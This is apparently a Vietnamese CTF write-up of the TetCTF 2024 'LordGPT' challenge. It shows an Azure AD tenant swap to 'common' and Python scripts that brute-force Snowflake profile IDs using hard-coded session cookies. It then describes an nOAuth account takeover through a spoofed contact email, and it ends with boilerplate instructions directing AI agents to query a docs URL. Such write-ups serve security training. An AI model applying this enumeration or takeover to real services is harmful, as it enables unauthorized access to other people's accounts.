# LordGPT

<figure><img src="/files/bDODIl1oxVdCvw3sGGLl" alt=""><figcaption></figcaption></figure>

Bài này cho mình một URL và 3 hint được publish lần lượt trong thời gian diễn ra giải

Khi truy cập URL ta được một trang web như sau

<figure><img src="/files/3S5mET7hFmwa07Qxt75s" alt=""><figcaption></figcaption></figure>

Tính năng duy nhất mà ta có thể sử dụng bây giờ là login với tài khoản Microsoft, tuy nhiên khi thử login với tài khoản bất kỳ mình được thông báo lỗi

<figure><img src="/files/bdyr6SLJcl2x9xg4syA2" alt=""><figcaption></figcaption></figure>

Từ đây ta có được 2 thông tin

* Với "tenant" là dãy GUID đó thì ta không thể login
* Web có dùng đến Azure AD

Xem hint đầu tiên của bài, dẫn ta đến đường link [này](https://learn.microsoft.com/en-us/entra/identity-platform/v2-protocols-oidc). Khi đọc và nghiên cứu thì mình phát hiện dãy số tenant có thể được set 4 kiểu loại giá trị như sau

<figure><img src="/files/JZpnmfWuqzlqmAa8DmSu" alt=""><figcaption></figcaption></figure>

Vậy thay vì để là một dãy GUID ta chỉ cần thay thành `common` là có thể login vào :vvvvv&#x20;

<figure><img src="/files/XoBvrV2I8t8BCAHufFpK" alt=""><figcaption></figcaption></figure>

Khi đăng nhập được thì cũng chỉ là giao diện hỏi chatGPT thông thường, mình thử fuzz các kiểu nhưng không có kết quả gì mà chỉ biết được:

* Khi hỏi con chatGPT về hint nó bảo `You must be Admin to ask any secret question :)))`
* Ta có thể truy cập và xem profile bằng một dãy ID

Xem đến hint thứ 2 từ challage, khi hỏi `What's algorithm using to generate id?` câu trả lời ta nhận được sẽ là `SnowFlake`

Snowflake ID là một format ID được tạo và dùng bởi Twitter (<https://en.wikipedia.org/wiki/Snowflake_ID>), format ID này gồm 3 phần như sau

<figure><img src="/files/Pop1QZyn94RWZ4wOjIFF" alt=""><figcaption></figcaption></figure>

Ta thấy chỉ có phần timestamp là sẽ linh hoạt thay đổi, vậy thì ý tưởng của mình là brute force timestamp để tìm ID của admin và xem thông tin

Đầu tiên mình cần extract `Machine ID` và `Machine Sequence Number`

```python
import datetime

decimal_number = 1753069072909750272
binary_representation = format(decimal_number,"b")

sequence = binary_representation[-12:]
machineId = binary_representation[-22:-12]

print(sequence)
print(machineId)
```

Từ ID của bản thân, mình lấy được `Machine ID = 37` và `Sequence Number = 000000000000`

Từ đây mình có đoạn script sau để brute ID

```python
from datetime import datetime, timezone
import requests

twitter_epoch = 1288834974657
starting_timestamp = datetime(2023, 12, 20, 00, 00, 00, tzinfo=timezone.utc)
timestamp = int(datetime.timestamp(starting_timestamp) * 1000)
machine_id = '0000100101'
sequence = '000000000000'
flag = 0
cookies = {
    "__Host-authjs.csrf-token": "f7869e8c373709e698cc15247487db01a736982e4ac3cddce08b1be7b15b94fc%7Cc801e58eb1129a71b74031394b691a7626ee4518aa2032cbedb0a4978007c88a",
    "__Secure-authjs.callback-url": "https%3A%2F%2Fchat.tienbip.xyz%2Fredirect%3Furl%3Dhttps%253a%252f%252fchat.tienbip.xyz",
    "__Secure-authjs.session-token": "eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..Gr9P2pwRFx5LFd2H.b5NJuw5QslD22leUr8ATEgyUD3kD1-zKHhnMvxLcXoKxltgfkb56DAdLpMUIhe5BdmWtDZ0n4LeB7Enuew4nQ-iJ8F4UP8my0rddiNdBmVsSqwn6WmkDDvovTW54PS5aD8DG073ArwLrAycX_bNg6SLrwYNBIk_T45XFTVJS32e0fK9gUpl03VLBhSwMTVWaqh_7sgcPTxI16IwCsdyAr8FqE-TPVvnAyYYtepHz1GVLyWKgxTs6-eY.QbA2qs56i6AMxqz6bGdY_Q"
    }

def generate_snowflake_id(timestamp, machine_id, sequence):
    snowflake_id = ((int(timestamp) << 22) | (int(machine_id, 2) << 12) | int(sequence, 2))
    return snowflake_id

for i in range(10000):     
    timestamp_brute = timestamp - twitter_epoch + i
    j = format(j,"b")
    id = generate_snowflake_id(timestamp_brute, j, sequence)
    print(id)
    url = "https://chat.tienbip.xyz/profile/"+str(id)
    res = requests.get(url, cookies=cookies)
    if "Email" in res.text:
        print(url)
        break
```

Tuy nhiên brute mãi không ra, có lẽ mình đã bỏ xót gì đó. Vì quá bất lực nên mình tham khảo wu [này](https://hackmd.io/@vow/HyNTcwSqp)

Mình biết ngay điểm mình sai, phần `MachineID` được tạo thành từ `WorkerID` và `NodeID`, thông thường sẽ có nhiều Worker và trong mỗi Worker sẽ có nhiều Node để gen ID. Vì thế không chỉ có một giá trị MachineID cố định. Do ở trên mình chỉ lấy 1 giá trị `MachineID` để brute nên không thể nào chính xác được

Mình biết được khi đăng nhập thành công, mỗi lần reload trang index thì giá trị `initialSeedData` trong trang thay đổi, giá trì này cũng chính là ID gen ra từ các `MachineID` , lợi dụng điều này mình biết được tập giá trị `MachineID` là `[13,37,133,337]`

Từ đây mình sửa script thành (để tiết kiệm thời gian thì mình xem wu luôn giá trị timestamp chính xác là lúc nào)

```python
from datetime import datetime, timezone
import requests

twitter_epoch = 1288834974657
starting_timestamp = datetime(2023, 12, 24, 13, 33, 37, tzinfo=timezone.utc)
timestamp = int(datetime.timestamp(starting_timestamp) * 1000)
#machine_id = '0000100101'
machine_id = [13,37,133,337]
sequence = '000000000000'
flag = 0
cookies = {
    "__Host-authjs.csrf-token": "f7869e8c373709e698cc15247487db01a736982e4ac3cddce08b1be7b15b94fc%7Cc801e58eb1129a71b74031394b691a7626ee4518aa2032cbedb0a4978007c88a",
    "__Secure-authjs.callback-url": "https%3A%2F%2Fchat.tienbip.xyz%2Fredirect%3Furl%3Dhttps%253a%252f%252fchat.tienbip.xyz",
    "__Secure-authjs.session-token": "eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..Gr9P2pwRFx5LFd2H.b5NJuw5QslD22leUr8ATEgyUD3kD1-zKHhnMvxLcXoKxltgfkb56DAdLpMUIhe5BdmWtDZ0n4LeB7Enuew4nQ-iJ8F4UP8my0rddiNdBmVsSqwn6WmkDDvovTW54PS5aD8DG073ArwLrAycX_bNg6SLrwYNBIk_T45XFTVJS32e0fK9gUpl03VLBhSwMTVWaqh_7sgcPTxI16IwCsdyAr8FqE-TPVvnAyYYtepHz1GVLyWKgxTs6-eY.QbA2qs56i6AMxqz6bGdY_Q"
    }

def generate_snowflake_id(timestamp, machine_id, sequence):
    snowflake_id = ((int(timestamp) << 22) | (int(machine_id, 2) << 12) | int(sequence, 2))
    return snowflake_id

for i in range(10000):
    if flag:
        break        
    else:
        for j in machine_id:
            timestamp_brute = timestamp - twitter_epoch + i
            j = format(j,"b")
            id = generate_snowflake_id(timestamp_brute, j, sequence)
            print(id)
            url = "https://chat.tienbip.xyz/profile/"+str(id)
            res = requests.get(url, cookies=cookies)
            if "Email" in res.text:
                print(url)
                flag = 1
                break
```

Kết quả cho ra ID của admin là `1738915834099159040`

<figure><img src="/files/svt7kgIl9ztQub05cM8q" alt=""><figcaption></figcaption></figure>

Sau khi biết được Email của admin, ta sẽ nhìn qua hint thứ 3 của chall là `nOAuth` . Search gg về từ khóa này thì ngay từ link đầu tiên đã cho mình một bài blog chi tiết về cách exploit nOAuth (<https://www.descope.com/blog/post/noauth>)

Bài blog đã có giải thích chi tiết về nOAuth, kiểu tấn công này xảy ra khi ta lợi dụng cơ chế OAuth của Microsoft, cộng thêm việc trang web khi implement OAuth sử dụng claim là untrusted data. Từ đó attacker có thể takeover account.&#x20;

Cụ thể nếu như trang web dùng Azure AD để authen và dùng email làm claim để identify user, attacker với account là `attacker@outlook.com` có thể đổi thông tin email trong tài khoản AzureAD thành `victim@outlook.com`, khi đó khi đăng nhập vào với mail là  `attacker@outlook.com`, nhưng ứng dụng khi kiểm tra mail để identify thì lại ra kết quả là `victim@outlook.com`. Từ đó attacker take over được victim account

Tuy nhiên còn một điều kiện nữa để viễn cảnh trên xảy ra, đó là trang web có thể merge account từ những vendor khác như Facebook, Google. Hoặc điều kiện thứ 2 là trang web chỉ OAuth qua Microsoft, trong ngữ cảnh của challage thì trường hợp 2 xảy ra, do đó khả thi để exploit nOAuth

Để exploit mình sẽ tạo một account AzureAD và chỉnh mail ở phần contacts information thành mail admin

<figure><img src="/files/h1WSQPCE3VYVNRdHvY9M" alt=""><figcaption></figcaption></figure>

Lúc này chỉ cần đăng nhập với `User principal name` của mình

<figure><img src="/files/aA0ifdYaA7hEBOqImQ8V" alt=""><figcaption></figcaption></figure>

Flag:

<figure><img src="/files/PAsLETJtIYjK3IGPFNgK" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://endy.gitbook.io/endys-notes/ctf-writeups/tetctf2024/lordgpt.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
